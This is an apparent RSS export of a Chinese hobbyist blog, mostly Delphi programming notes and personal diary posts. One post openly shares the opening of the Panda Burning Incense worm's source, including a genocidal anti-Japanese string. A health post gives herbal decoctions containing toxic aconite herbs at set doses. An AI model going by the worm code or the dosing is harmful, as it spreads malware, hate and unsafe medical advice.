<?xml version="1.0" encoding="utf-8"?><rss version="2.0">
<channel>
<title><![CDATA[发牢骚]]></title>
<link>http://blog.pfan.cn/MYIT</link>
<description>编程爱好者博客</description>
<language>zh-cn</language>
			<item>
		<title><![CDATA[禁止多实例运行]]></title>
		<link>http://blog.pfan.cn/MYIT/37768.html</link>
		<description><![CDATA[program Project1;
uses&nbsp; Windows,&nbsp; Forms,&nbsp; Unit1 in 'Unit1.pas' {Form1},&nbsp; Function_U in 'E:\工作\JJQDS_V2\Function_U.pas',&nbsp; Config_U in 'E:\工作\JJQDS_V2\Config_U.pas';
{$R *.res}
var&nbsp; hAppMutex : THandle;
begin&nbsp; Application.Initialize;&nbsp; hAppMutex := CreateMutex(nil,False,PChar('{19D51511-8490-42AC-B677-E3D59AF822B1}'));&nbsp; if hAppMutex = 0 then&nbsp; begin&nbsp;&nbsp;&nbsp; MessageBox(0,PChar('创建互斥对象失败！'),PChar('Error'),MB_OK + MB_ICONINFORMATION);&nbsp;&nbsp;&nbsp; Exit;&nbsp; end;&nbsp; if (hAppMutex &lt;&gt; 0) and (GetLastError = ERROR_ALREADY_EXISTS) then&nbsp; begin&nbsp;&nbsp;&nbsp; MessageBox(0,PChar('不是第一次运行这个程序!'),PChar('OK'),MB_OK + MB_ICONINFORMATION);&nbsp;&nbsp;&nbsp; CloseHandle(hAppMutex);&nbsp;&nbsp;&nbsp; Exit;&nbsp; end;&nbsp; &nbsp; Application.CreateForm(TForm1, Form1);&nbsp; Application.Run;&nbsp; CloseHandle(hAppMutex);end.
=======================================================================
m_hMutex=CreateMutex(NUL]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-21 15:08:00</pubDate>
		</item>
				<item>
		<title><![CDATA[打印机编程整理]]></title>
		<link>http://blog.pfan.cn/MYIT/37487.html</link>
		<description><![CDATA[&nbsp;&nbsp;{ tell printer to go to the default by setting &nbsp;&nbsp;&nbsp;&nbsp;the PrinterIndex value to -1 } &nbsp;&nbsp;Printer.PrinterIndex := -1; &nbsp;&nbsp;{ make our combobox non-editable } &nbsp;&nbsp;ComboBox1.Style&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:= csDropDownList; &nbsp;&nbsp;{ set our combobox items to the printer printers } &nbsp;&nbsp;ComboBox1.Items&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:= Printer.Printers; &nbsp;&nbsp;{ set combobox to view the default printer &nbsp;&nbsp;&nbsp;&nbsp;according to printer printerindex as set above } &nbsp;&nbsp;ComboBox1.ItemIndex&nbsp;&nbsp;:= Printer.PrinterIndex; ===================================================================
//从并行端口读取打印机状态function GetPrinterStatus:byte;asm&nbsp; MOV DX,$379;&nbsp; IN AL,DX;end;//获取打印机是否出错function CheckPrinter:boolean;vartemp:byte;begin&nbsp; temp:=GetPrinterStatus;&nbsp; Result:=not ( ((temp and $80)=0) //打印机忙 字串2
&nbsp; or ((temp and $20)&lt;&gt;0)&nbsp; //打印机缺纸&nbsp; or ((temp and $10)=0)]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-11 14:28:00</pubDate>
		</item>
				<item>
		<title><![CDATA[[健康]肩周炎]]></title>
		<link>http://blog.pfan.cn/MYIT/37486.html</link>
		<description><![CDATA[肩周炎又称肩关节组织炎，这是肩周肌肉、肌腱、滑囊和关节囊等软组织的慢性炎症，50岁左右的人比较常见。但办公室的工作人员由于长期伏案工作，肩部的肌肉韧带处在紧张状态，故50岁以下人中也不少见。中医认为本病由肩部感受风寒所致，又因患病后胸肩关节僵硬，活动受限，好像冻结了一样，所以称“冻结肩”、“肩凝症”。 肩关节是人体全身各关节中活动范围最大的关节。其关节囊较松驰，关节的稳定性大部分靠关节周围的肌肉、肌健和韧带的力量来维持。由于肌腱本身的血液供应较差，而且随着年龄的增长而发生退行性改变，加之肩关节在生活中活动比较频繁，周围软组织经常受到来自各方面的磨擦挤压，故而易发生慢性劳损。 1．临床表现 肩周炎的发病特点为慢性过程。初期为炎症期，肩部疼痛难忍，尤以夜间为甚。睡觉时常因肩怕压而特定卧位，翻身困难，疼痛不止，不能入睡。如果初期治疗不当，将逐渐发展为肩关节活动受限，不能上举，呈冻结状。常影响日常生活，吃饭穿衣，洗脸梳头均感困难。严重时生活不能自理，肩臂局部肌肉也会萎缩，患者极为痛苦。 2．治疗方法 中药治疗：肩周炎初期，中成药可选用木瓜丸、小活络丹、国公酒治疗。汤药可选用经验方：柴胡10g，当归10g，白芍10g，陈皮10g，清半夏10g，羌活10g，桔梗10g，白芥子10g，黑附片10g，秦艽10g，茯苓10g。以白酒作引，水煎服，每日2次，饭后服。 肩周炎后期，中成药可选用大活络丹、舒经活络丸、五加皮酒治疗。汤药可选用经验方：当归30g，丹参30g，桂枝15g，透骨草30g，羌活18g，生地黄30g，香附10g，草乌9g，忍冬藤40g，桑枝20g。水煎服，每日2次。 3．功能锻炼 目前，对肩周炎的治疗，多数学者认为，服用止痛药物只能治标，暂时缓解症状，停药后多数会复发。而运用手术松解方法治疗，术后容易引起粘连。所以采用中医的手法治疗被认为是较佳方案，若患者能坚持功能锻炼，预后相当不错。 下面介绍肩周炎的八种自我防治动作供患者参考： (1)屈肘甩手 患者背部靠墙站立，或仰卧在床上，上臂贴身、屈肘，以肘点作为支点，进行外旋活动。 （2）手指爬墙 患者面对墙壁站立，用患侧手指沿墙缓缓向上爬动，使上肢尽量高举，到最大限度，在墙上作一记号，然后再徐徐向下回原处，反复进行，逐渐增加高度。 （3）体后拉手 患者自然站立，在患侧上肢内旋并向后伸的姿势下，健侧手拉患侧手或腕部，逐步拉向]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-11 14:23:00</pubDate>
		</item>
				<item>
		<title><![CDATA[ACCESS,SQL（包含字段类型说明，及语法创建表）]]></title>
		<link>http://blog.pfan.cn/MYIT/37383.html</link>
		<description><![CDATA[ACCESS,SQL（包含字段类型说明，及语法创建表） 
ACCESS所有类型为：&nbsp;Big Integer、Binary、Boolean、Byte、Char、Currency、Date/Time、Decimal、Double、Float、GUID、Integer、Long、Long Binary (OLE Object)、Memo、Numeric、Single、Text、Time、TimeStamp 以及 VarBinary。
常用的几种：Date/Time 日期/时间Boolean 是/否Decimal 小数Memo 备注Text 文本Integer 整数
如果用自动编号且主键，如下：create table table1 (id autoincrement(1,1) primary key)&nbsp;CREATE TABLE AAA(RID Counter,url Memo,ActName Memo, ActDate text(150), Up_Time text(100))连接字符串：conn = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = 法律之星.mdb";SQL SERVER 2005:&nbsp;&nbsp;&nbsp;&nbsp;
DATENAME
返回代表指定日期的指定日期部分的字符串。
语法
DATENAME ( datepart , date )
参数
datepart
是指定应返回的日期部分的参数。下表列出了 Microsoft&reg; SQL Server&#8482; 识别的日期部分和缩写。




日期部分
缩写

year
yy, yyyy

quarter
qq, q

month
mm, m

dayofyear
dy, y

day
dd, d

week
wk, ww

weekday
dw

Hour
hh

minute
mi, n

second
ss, s

millisecond
ms
weekday (dw) 日期部分返回星期几（星期天、星期一等）。
是返回 datetime 或 smalldatetime 值或日期格式字符串的表]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-06 11:00:00</pubDate>
		</item>
				<item>
		<title><![CDATA[delphi动态创建access数据库]]></title>
		<link>http://blog.pfan.cn/MYIT/37378.html</link>
		<description><![CDATA[主　　题：我解决了几乎所有Delphi+Access同仁的问题—动态创建、压缩Access数据库(*.MDB)作　　者：Hank所属论坛：Delphi问题点数：30回复次数：13发表时间：2000-12-29 17:19:00&nbsp; &nbsp; 动态创建、压缩Access数据库(*.MDB) 声明：这是前无古人，后无来者的解决方案(有点吹，但是我实在太激动了！)，希望各位能多多关照创建Access数据库几乎是所有Delphi+Access所遇到的难题，我经过两头(昨天上午到现在)的艰苦奋战，终于将它全部解开，现在一一奉献给大家：一、通过OLE方式创建&nbsp; &nbsp; 相信各位都用通过OLE方式访问Word、Excel文件的经历，具体我不说太多，直接把具体代码写出来就完了&nbsp; &nbsp; 在引用部分加入：&nbsp; &nbsp; uses ComObj;&nbsp; &nbsp; 实现部分：&nbsp; &nbsp; procedure TFormOffice.BitBtn1Click(Sender: TObject);&nbsp; &nbsp; var&nbsp; &nbsp; &nbsp; CreateAccess:OleVariant;&nbsp; &nbsp; begin&nbsp; &nbsp; &nbsp; CreateAccess:=CreateOleObject('ADOX.Catalog');&nbsp; &nbsp; &nbsp; CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\Aceco.mdb');&nbsp; &nbsp; end;&nbsp; &nbsp; 说明：&nbsp; &nbsp; &nbsp; 1、在C:\下创建Aceco.mdb；&nbsp; &nbsp; &nbsp; 2、是Access2000格式，用Access97打不开；&nbsp; &nbsp; &nbsp; 3、系统需安装MDAC，这是好消息，客户不需安装Access也可以二、通过DBEngine创建&nbsp; &nbsp; 这才是关键中的关键，是我一定要写出来的原因！&nbsp; &nbsp; 各位是否还记得安装Delphi的时候，如果你选择自定]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-06 09:00:00</pubDate>
		</item>
				<item>
		<title><![CDATA[[Delphi]熊猫烧香源代码]]></title>
		<link>http://blog.pfan.cn/MYIT/37373.html</link>
		<description><![CDATA[声明:代码仅供学习研究用,若用此程序进行违法活动一切后果由你本人承担,否则,请马上离开.program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同 PS:现在都Delphi 7 了.//查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码，以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.d]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-05 16:26:00</pubDate>
		</item>
				<item>
		<title><![CDATA[delphi&nbsp;枚举与子界]]></title>
		<link>http://blog.pfan.cn/MYIT/37370.html</link>
		<description><![CDATA[初学者对于枚举与子界比较容易混淆,特别是有些朋友是自学的.下边就举个既联系又区别的例子:
{枚举和子界的声明定义}type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Month=(Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //定义Month(月份)为枚举型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Spring=Feb..May;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //定义Spring(春天)为子界型
{几个枚举函数}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ord(Mar)的值为2;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //求枚举序数字&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pred(Mar)的值为1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //求前驱值&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Succ(Mar)的值为3;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //求后继值&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Low(Month)的值为0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //求第一个枚举量,是Jan对应的值,但有不少初学的朋友误以为它的值是"Jan"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; High(Month)的值为11; //求末一个枚举量,是Dec对应的值 
看了上边,是否对你有所帮助呢?]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-05 11:12:00</pubDate>
		</item>
				<item>
		<title><![CDATA[delphi&nbsp;dll&nbsp;动态连接]]></title>
		<link>http://blog.pfan.cn/MYIT/37366.html</link>
		<description><![CDATA[节约系统开销，方便软件升级。 动态链接库是一个能够被应用程序和其它的DLL调用的过程和函数的集合体,它里面包含的是公共代码或资源。由于DLL代码使用了内存共享技术,在某些地方windows也给了DLL一些更高的权限,因而DLL中可以实现一些一般程序所不能实现的功能,如实现windows的HOOK、ISAPI等。同时,DLL还为不同语言间代码共享提供了一条方便的途径。因而DLL在编程时应用较为广泛,本文将介绍如何在 Delphi 中建立和使用DLL。 一．DLL 库内存共享机制 从使用效果看,DLL和unit 很像,它们都可以被别的工程模块所调用,但二者在内部的实现机制上确存在着差别。如果一个程序模块中用uses语句引用了某个unit,编译程序在编译该模块时,便会连同unit一起编译,并把编译后的可执行代码链接到本程序模块中,这就是一个程序模块能够调用所引用unit中过程和函数的原因。当同一个unit被多个工程所引用时,则每个工程中都含有该unit的可执行代码,当含有该unit的多个工程同时执行时,unit的可执行代码会随不同工程而多次被调入内存,造成内存资源的浪费。DLL则不同,它即使被某个工程调用,编译后仍是独立的,也就是说编译后,一个DLL库形成一个单独的可执行文件,而不与任何其它的可执行文件连接在一起,因而DLL库并不从属于某个特定的工程,当多个工程调用同一个DLL库时只有第一个工程把DLL库调入内存,其余工程并不重复调入同一个DLL库到内存,而是到同一个共享内存区读取。并且,DLL的执行代码是在程序运行期间动态调入的,而不是如unit在程序运行时就与整个工程一起调入内存。这样便可消除unit带来的相同代码多处占用内存的弊病。 二 Delphi中DLL库的建立 在Delphi环境中,编写一个DLL同编写一个一般的应用程序并没有太大的区别。事实上作为DLL主体的DLL函数的编写,除了在内存、资源的管理上有所不同外,并不需要其它特别的手段。 一般工程文件的格式为: program 工程标题; uses 子句; 程序体 而DLLs工程文件的格式为: library 工程标题; uses 子句; exprots 子句; 程序体 它们主要的区别有两点: 1.一般工程文件的头标用program关键字,而DLL工程文件头标用library 关键字。不同的关键字通知编译器生成]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-04 20:44:00</pubDate>
		</item>
				<item>
		<title><![CDATA[高等数学符号读法]]></title>
		<link>http://blog.pfan.cn/MYIT/37350.html</link>
		<description><![CDATA[大写 小写 英文注音 国际音标注音 中文注音 Α α alpha alfa 阿耳法 Β β beta beta 贝塔 Γ γ gamma gamma 伽马 Δ δ deta delta 德耳塔 Ε ε epsilon epsilon 艾普西隆 Ζ ζ zeta zeta 截塔 Η η eta eta 艾塔 Θ θ theta θita 西塔 Ι ι iota iota 约塔 Κ κ kappa kappa 卡帕 ∧ λ lambda lambda 兰姆达 Μ μ mu miu 缪 Ν ν nu niu 纽 Ξ ξ xi ksi 可塞 Ο ο omicron omikron 奥密可戎 ∏ π pi pai 派 Ρ ρ rho rou 柔 ∑ σ sigma sigma 西格马 Τ τ tau tau 套 Υ υ upsilon jupsilon 衣普西隆 Φ φ phi fai 斐 Χ χ chi khai 喜 Ψ ψ psi psai 普西 Ω ω omega omiga 欧米伽]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-04 08:48:00</pubDate>
		</item>
				<item>
		<title><![CDATA[Delphi&nbsp;快捷键（转）]]></title>
		<link>http://blog.pfan.cn/MYIT/37349.html</link>
		<description><![CDATA[Delphi 快捷键（转） 
&nbsp;Ctrl+PageUp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将光标移至本屏的第一行，屏幕不滚动。&nbsp;Ctrl+PageDown&nbsp;&nbsp;&nbsp; 将光标移至本屏的最后一行，屏幕不滚动。&nbsp;Ctrl+↓&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 向下滚动屏幕，光标跟随滚动不出本屏。&nbsp;Ctrl+↑&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 向上滚动屏幕，光标跟随滚动不出本屏。&nbsp;Ctrl+Shift+NUM&nbsp;&nbsp; 在光标行设置最多九个临时标志号，对临时切换非常有用。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 行的左边将出现一本书，封面有NUM，再按一次取消设置。&nbsp; &nbsp;Ctrl+NUM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 直接将光标跳到NUM处，NUM是用Ctrl+Shift+NUM设置的标号。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NUM不能用小键盘。&nbsp;Ctrl+Home&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将光标移至文件头。&nbsp;Ctrl+End&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将光标移至文件尾。&nbsp;Ctrl+B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Buffer List窗口。&nbsp;Ctrl+I&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-04 08:38:00</pubDate>
		</item>
				<item>
		<title><![CDATA[delphi获取打印任务]]></title>
		<link>http://blog.pfan.cn/MYIT/37347.html</link>
		<description><![CDATA[type &nbsp; &nbsp; &nbsp; &nbsp; TForm1 &nbsp; = &nbsp; class(TForm) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Label1: &nbsp; TLabel; &nbsp; &nbsp; &nbsp; &nbsp; private &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { &nbsp; Private &nbsp; declarations &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; procedure &nbsp; WM_SpoolerStatus(var &nbsp; Msg &nbsp; : &nbsp; TWMSPOOLERSTATUS);message &nbsp; WM_SPOOLERSTATUS; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { &nbsp; Public &nbsp; declarations &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; end; &nbsp; &nbsp; &nbsp; &nbsp; var &nbsp; &nbsp; &nbsp; &nbsp; Form1: &nbsp; TForm1; &nbsp; &nbsp; &nbsp; &nbsp; implementation &nbsp; &nbsp; &nbsp; &nbsp; {$R &nbsp; *.dfm} &nbsp; &nbsp; &nbsp; &nbsp; procedure &nbsp; TForm1.WM_SpoolerStatus(var &nbsp; Msg &nbsp; : &nbsp; TWMSPOOLERSTATUS); &nbsp; &nbsp; begin &nbsp; &nbsp; &nbsp; &nbsp; //listbox1.items.add(' &nbsp; Jobs &nbsp; currenly &nbsp; in &nbsp; spooler')]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-08-03 22:14:00</pubDate>
		</item>
				<item>
		<title><![CDATA[Delphi怎么设置系统当前输入法]]></title>
		<link>http://blog.pfan.cn/MYIT/37252.html</link>
		<description><![CDATA[unit ime95;// 这些函式, 我通常是在 edit 的 ondblclick 事件中呼叫测试interfaceuseswindows, messages, sysutils, imm,classes, graphics, controls, forms;// 请注意, imm.pas 必须置于与本单元同一目录或// 主选单 tools | options | library path 中的任一个目录// imm.pas 可在 delphi 2.0 的 source目录中找到constnhkl_list = 20;typetimeuiwindow = class(tcustomcontrol)privateprocedure cmtextchanged(var message: tmessage); message cm_textchanged;protectedprocedure createparams(var params: tcreateparams); override;procedure paint; override;publicconstructor create(aowner: tcomponent); override;procedure showcomposition(ptwhere: tpoint; const shint: string); virtual;// function ishintmsg(var msg: tmsg): boolean; virtual;// procedure releasehandle;property caption;property canvas;property color;end;// 显示某一输入法的设定对话盒function showimeconfigdialog(hkb: hkl): bool; far;// 指定某一窗口的中英输入模式procedure tochinese(hwindows: thandle; bchinese: boolean); far;// 下一个输入法(等于仿真预设的 ctrl + shift)procedure nextime; far;// 侦测目前作用中的输入法文件名称function getimefilename: string; far;// 切换到指]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-07-30 17:15:00</pubDate>
		</item>
				<item>
		<title><![CDATA[delpi与数据库,低层介绍]]></title>
		<link>http://blog.pfan.cn/MYIT/36772.html</link>
		<description><![CDATA[2、数据库　　　　在相对枯燥的理论之后，我们终于要开始接触到一些比较激动人心的实际应用了。　　数据库编程是Delphi最强大的优势之一，恐怕也很少有Delphi程序员没有接触过数据库编程的。Delphi独特的Data-Aware构件，让很多初识Delphi的人为之目瞪口呆。不需要写任何代码，在几分钟之内就可以做出一个相当精巧的数据库程序，而且在开发期就可以看到运行期的结果，这真是不可思议啊！但是，Delphi强大无比的数据库开发能力，决不仅仅限于用几个构件操纵一下DBF或是Access数据库而已。你所看到只是冰山一角。让我们仔细说来。　　数据库虽然家族庞大，但一般来说可以分为两种：文件型数据库和C/S型数据库。下面分别讨论。　　　　2.1 文件型数据库　　所谓文件型数据库，顾名思义，是基于文件的（file-based），数据被按照一定格式储存在磁盘里，使用时由应用程序通过相应的驱动程序甚至直接对数据文件进行读取　。也就是说，这种数据库的访问方式是被动式的，只要了解其文件格式，任何程序都可以直接读取，这样就使得它的安全性相当糟糕。同时，在蓬勃兴起的网络应用，文件型数据库更是难有用武之地：效率低下，不支持很多SQL命令，不支持视图、触发器、存储过程等高级功能，等等。这些特点决定了它不适合大型的工程。　　最为大家所熟悉的文件型数据库可能就是DBF（DBase/Foxbase/Foxpro）数据库，在DOS时代风靡一时，相信很多人都有过抱着一本手册苦背Foxbase命令的回忆吧！其特点是，每个Table或Index都是一个独立的文件，使用相当简单，性能还可以，安全性非常的差，但应用非常广泛（主要是DOS时代遗留下来的，哪个单位没有两个用这种东东编出来的老古董程序呢？）。它在今天还能占有一席之地，其主要原因之一是，正因为简单和使用广泛，使得对它的访问是最容易的，甚至根本无需第三方的接口，就可直接对其进行字节级的读取　。　　除此之外，还有著名的Access数据库。这是MS Office里的构件之一，和DBF数据库不同，所有的文件都被整合在一个.mdb文件中，这样就避免了数据库变大之后管理上带来的麻烦。同时它还提供密码保护功能，安全性比DBF数据库要好很多。Access数据库除了一般的文本数据之外，还擅长于对多媒体数据的处理，在对声音、图像乃至基于OLE的对象进行处理时，令DBF]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2008-07-17 17:48:00</pubDate>
		</item>
				<item>
		<title><![CDATA[男人这辈子只会爱一个女人（转)]]></title>
		<link>http://blog.pfan.cn/MYIT/17713.html</link>
		<description><![CDATA[每一个男人都是这样，他可以对每个女人说“我爱你”，但他一辈子只会爱上一个女人，只有一个。&nbsp;　　女人需要的是一个关怀她，爱她，可以让她依靠，保护她一辈子的人，当她遇到一个男人时，爱的死去活来，山盟海誓。因为种种原&nbsp;因的分开，她不会再记得他，或者说不会记得那么深刻。因为当她遇到一个更好的男人时，她会拿两个人来比较，她会觉得遇到更好的是&nbsp;她的幸运。&nbsp;　　但男人不是这样，当他爱上一个女人，真真正正&nbsp;的爱，他不会在爱上任何一个人。当这段感情失败后，他会把这段记忆放在心里，把这个女人放在心底。&nbsp;　　原来一个男人可以把很多女人放在心里，但一辈子只有一个女人可以在他心底。&nbsp;　　无论他以后会再相处再多的女人，他都会清楚的知道，自己最爱的是谁。&nbsp;　　无论以后他遇到的女人多么优秀，他也不会改变。因为他心底的女人是他的支柱，他不会用她和任何一个人相比，他认为这种比较是&nbsp;愚蠢的，他一辈子只会爱她一个。放在心底的女人，永远的伤痕。&nbsp;　　男人都是爱面子的，&nbsp;也许他平时会活的很潇洒，但在一个人孤独的时候，他会放下所有的尊严，放声痛哭，思念唯一的她。&nbsp;　　男人的爱一辈子只会付出一次，你得不到，因为你不是。&nbsp;　　男人的痴情，女人的多情,只有死才是终。]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-20 17:50:00</pubDate>
		</item>
				<item>
		<title><![CDATA[我爱你]]></title>
		<link>http://blog.pfan.cn/MYIT/17711.html</link>
		<description><![CDATA[可以做我女朋友吗?肉麻D讲句,我爱你,&nbsp;I&nbsp;love&nbsp;you?我吾知道你系点谂,不过我希望你比个机会我.你又未有男朋友,大家认识下对方.]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-20 16:50:00</pubDate>
		</item>
				<item>
		<title><![CDATA[英语学习]]></title>
		<link>http://blog.pfan.cn/MYIT/17682.html</link>
		<description><![CDATA[I单词Groan：呻吟Grope：搜索，探索Gross：毛（收益）的Gut：勇气Gown：女礼服Disgrace：丢脸，耻辱Gracious：亲切的Gradual：逐渐的Grand：豪华的Bestow：给予Graphic：生动的，形象的Grief：悲伤&nbsp;/brief：摘要Torment：痛苦Grim：讨厌的，严厉的Pilgrim：朝圣者，香客Glamour：魅力，诱惑力Glimpse：瞥见Litter：垃圾Gloomy：阴沉的，抑郁的Glory：光荣，荣誉Gorgeous：华丽的，极好的Hijack：抢劫Hint：暗示，提示Hitherto：至今Hatred：怨恨Hatch：策划，图谋Haul：拖运&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Headquarters：司令部，总部Heal：愈合Steward：乘务员Helmet：头盔Halt：停住Hamper：阻挡Harbor：港口，避难所Harness：治理，利用Harsh：严厉的Hasty：草率的&nbsp;&nbsp;II词组Groan&nbsp;with&nbsp;pain：痛苦地呻吟Gross&nbsp;annual&nbsp;profit：年度毛利Moral&nbsp;guidance：精神指导Graphic&nbsp;designer：平面造型设计师The&nbsp;center&nbsp;of&nbsp;gravity：重心Get&nbsp;a&nbsp;glimpse&nbsp;of：瞥见Global&nbsp;warming：全球变暖Take&nbsp;off&nbsp;the&nbsp;gloves&nbsp;(to&nbsp;sb.)：认真地或毫不客气的争辩Governor&nbsp;general：总督Attorney&nbsp;general：检察总长Heir&nbsp;apparent：法定继承人President&nbsp;elect：总统当选人Go&nbsp;on&nbsp;a&nbsp;hike：徒步旅行Noise&nbsp;hazards：噪音危害Harsh&nbsp;remarks：尖刻的评论Harsh&nbsp;realities：严酷的现实I]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-19 23:47:00</pubDate>
		</item>
				<item>
		<title><![CDATA[游阳朔后感]]></title>
		<link>http://blog.pfan.cn/MYIT/17670.html</link>
		<description><![CDATA[阳朔的山水的确吾错,但这也是一场体力的锻炼.几个朋友,和一个自己暗恋的人去游玩,心情确实很复杂.又想靠近她,又不想太明显,她又好像有点躲开我(之前我已经向她表白过的).我都不知道怎样解决这处僵局.心情很复杂,高兴(和她一起,看到她),伤心(她很少和我接触,可能故意的),希望(她还没有男朋友,和我一样没拍过拖.).我不知道她那次不接受我是为什么?她又没说不可能.]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-19 16:45:00</pubDate>
		</item>
				<item>
		<title><![CDATA[初次自由行(阳朔之旅)]]></title>
		<link>http://blog.pfan.cn/MYIT/17577.html</link>
		<description><![CDATA[这次出行,其实我本身就有700多元,爸还给我500元,尽管家里并不是很宽裕,但爸的这行动确定让我感动.]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-14 22:52:00</pubDate>
		</item>
				<item>
		<title><![CDATA[我的人生规划]]></title>
		<link>http://blog.pfan.cn/MYIT/17135.html</link>
		<description><![CDATA[&nbsp;&nbsp;&nbsp; 作为一个软件工程的本科二年级生，我觉得我两年的大学生活简直是浪费时间。&nbsp;&nbsp;&nbsp;&nbsp; 在学校不是在宿舍无聊的玩游戏，就是到网吧去玩。虽然，暂时只是一科不及格，但如此不显眼的成绩，日后会有什么出色。而我不甘于这样子虚无，大学的后两年不能还是这样混下去。于是，我要在这里为自己的未来计划一下。
1.注重实践，多与社会接触。
&nbsp;&nbsp;&nbsp; 学校按排的实习要好好把握。争取好的队友，争取做Leader(the best of the best)。这样，以后写个人简历也好写点。还要对得起一万五的学费。&nbsp;&nbsp;&nbsp; 自己的时间里，不玩游戏，起码不玩网游(浪费时间)。广交朋友，还要与老同学保持联系。(可能因为沉溺于游戏中或个人性格沉默，大学里的朋友并不多，寂寞~~~~~~~~~~~~~~！)有机会一定要做兼职，挣点零用钱。&nbsp;&nbsp;&nbsp; 多编程或编一个有价值的软件来。说不定这是我的第一桶金。这软件可以由我一个完成也可以多人完成且有我的参与。所谓“独学而无友，则孤陋而寡闻”。
2.学好英语，接轨国际。
&nbsp;&nbsp;&nbsp; 这没什么好说的，英语好并不是坏事。虽然四级还没过，而且表达能力直接应响英语表达，但是英语还是很重要的。只好把学好英语视为长远的、短时间内无法完成的任务。
3.找份好工作，有自己的事业。
